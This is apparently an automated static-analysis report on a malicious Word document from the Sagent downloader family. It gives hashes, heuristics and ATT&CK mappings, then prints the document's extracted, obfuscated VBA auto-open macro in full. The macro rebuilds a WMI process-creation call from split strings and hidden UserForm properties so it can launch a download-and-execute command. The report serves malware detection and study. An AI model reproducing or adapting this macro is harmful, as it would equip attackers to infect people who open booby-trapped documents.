Sagent — Office (OLE) malware analysis

Static analysis result for SHA-256 c36766841d56b4ea…

MALICIOUS

Office (OLE)

166.3 KB Created: 2020-08-07 07:38:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: 5322336edcde29cc22cd3ac29d63797d SHA-1: 14af996e1006f746a11cfb5ece64071be96902b8 SHA-256: c36766841d56b4ea8d2fdc137f3ccd66643288bb4666ea76b5940b94affbfef8
262 Risk Score

Malware Insights

Sagent · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is automatically executed upon opening the document, as indicated by the Document_Open heuristic. This macro utilizes CreateObject to instantiate an object and appears to be a command stager designed to download and execute a second-stage payload. The ClamAV detection name 'Doc.Downloader.Sagent-9238884-0' strongly suggests the Sagent family and its downloader functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.Sagent-9238884-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-9238884-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3973 bytes
SHA-256: 6b3e8e2596d0e33937358fd77dc274f707c3c21f427fa07e55975bc88f00444e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "TARHJmertfkjqy"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
PBLXOeqetgxonpqntw.DBBROvolhkayeogzlx
End Sub


Attribute VB_Name = "PBLXOeqetgxonpqntw"
Attribute VB_Base = "0{C756CC3A-5136-47DC-B3E5-F7416F2D27A8}{2E9B1701-1AE5-4C4C-8756-6EDA14A55FC4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function DBBROvolhkayeogzlx()
Dim j1Ì6Î As Integer
j1Ì6Î = 9
Do While j1Ì6Î < 9 + 9
j1Ì6Î = j1Ì6Î + 1: DoEvents
Loop
Dim QaWytUTJ As Integer
QaWytUTJ = Len("nyb6ÜfY")
Dim EMdBhGoOL As Integer
EMdBhGoOL = Len("UXBm")
YZPDOyhvqwvojisz = Chr(PBLXOeqetgxonpqntw.Zoom + ((30 + 60 + 30) / (4 + 4)))
Dim AVRUMwK As Object
ZGYFRkiwfkii = "3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsw3833h4*hh^@njhs72g hus7777bsi3833h4*hh^@njhs72g hus7777bsnm3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsgm3833h4*hh^@njhs72g hus7777bst3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs" + YZPDOyhvqwvojisz + "3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs:3833h4*hh^@njhs72g hus7777bsw3833h4*hh^@njhs72g hus7777bsin3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs33833h4*hh^@njhs72g hus7777bs23833h4*hh^@njhs72g hus7777bs_3833h4*hh^@njhs72g hus7777bs" + PBLXOeqetgxonpqntw.NDHTHrwdasawhkspnhu + "3833h4*hh^@njhs72g hus7777bsro3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsce3833h4*hh^@njhs72g hus7777bss3833h4*hh^@njhs72g hus7777bss3833h4*hh^@njhs72g hus7777bs"
Dim MoLW As Object
IXHPPgjhxibaqvfmgt = XFGHEcxlvaan(ZGYFRkiwfkii)
Dim aXw As Integer
aXw = 1
Do While aXw < 1 + 8
aXw = aXw + 9: DoEvents
Loop
Set UYTPTomjzkuumwhx = CreateObject(IXHPPgjhxibaqvfmgt)
Dim O1åA As Integer
O1åA = 6
Do While O1åA < 6 + 6
O1åA = O1åA + 3: DoEvents
Loop
WGDCTantcbcrtwa = PBLXOeqetgxonpqntw.QJUAUwmdyxwy.ControlTipText
Dim BZ1ÎWrm As Boolean
ACZVGxvczspahlsp = b3 + (IXHPPgjhxibaqvfmgt + YZPDOyhvqwvojisz + PBLXOeqetgxonpqntw.IIUHRjivlylb.ControlTipText + WGDCTantcbcrtwa)
Dim Lhs8ÝW8ÃZV As Integer
Lhs8ÝW8ÃZV = 4
Do While Lhs8ÝW8ÃZV < 4 + 5
Lhs8ÝW8ÃZV = Lhs8ÝW8ÃZV + 2: DoEvents
Loop
CDVNYstruzshnomzm = ACZVGxvczspahlsp + PBLXOeqetgxonpqntw.NDHTHrwdasawhkspnhu
Dim P3áOQ As Object
Set DXUGHyiywfbjzg = UTOBUsourskiykgigv(CDVNYstruzshnomzm)
Dim fYLYIDH As Integer
fYLYIDH = Len("ZQfY")
s = Array(v + "is", UYTPTomjzkuumwhx. _
Create(PDMDTcvlusreonmry, SHVPEtfsqsexajjsd, DXUGHyiywfbjzg), i + "rt")
Dim qZNvlj As Double
End Function
Function UTOBUsourskiykgigv(HPCOYddhlzcexhj)
Set UTOBUsourskiykgigv = CreateObject(HPCOYddhlzcexhj)
Dim oFNsCjHpPN As Double
UTOBUsourskiykgigv. _
showwindow = PYRVLvmbquezdak + MGNGXnltihxawox + AIIOAwwadcdkorpe
Dim w0ÎjMvtMr As Byte
End Function
Function XFGHEcxlvaan(PPQJIkmbvbjz)
VYXVUnmycpgknvoy = PPQJIkmbvbjz
Dim rrv As Integer
rrv = 3
Do While rrv < 3 + 1
rrv = rrv + 4: DoEvents
Loop
OGXSFsepyqlcuoonb = Split _
(VYXVUnmycpgknvoy, "3833h4*hh^@njhs72g hus7777bs")
Dim uRbu4Äf As Integer
uRbu4Äf = 8
Do While uRbu4Äf < 8 + 6
uRbu4Äf = uRbu4Äf + 2: DoEvents
Loop
DCKMOejgesscuhfg = e2 + Join(OGXSFsepyqlcuoonb, w1)
Dim wE8e As Date
XFGHEcxlvaan = DCKMOejgesscuhfg
Dim II0Í6àm8È As Variant
End Function
Function PDMDTcvlusreonmry()
q = PBLXOeqetgxonpqntw.YAXYKomlrgmbpxie.Pages((2 * 5) / 10).Caption
Dim KcJ2ÑZNvlja As Integer
KcJ2ÑZNvlja = 4
Do While KcJ2ÑZNvlja < 4 + 5
KcJ2ÑZNvlja = KcJ2ÑZNvlja + 2: DoEvents
Loop
PDMDTcvlusreonmry = XFGHEcxlvaan(q)
Dim WpUViEN As Integer
WpUViEN = 6
Do While WpUViEN < 6 + 4
WpUViEN = WpUViEN + 4: DoEvents
Loop
End Function

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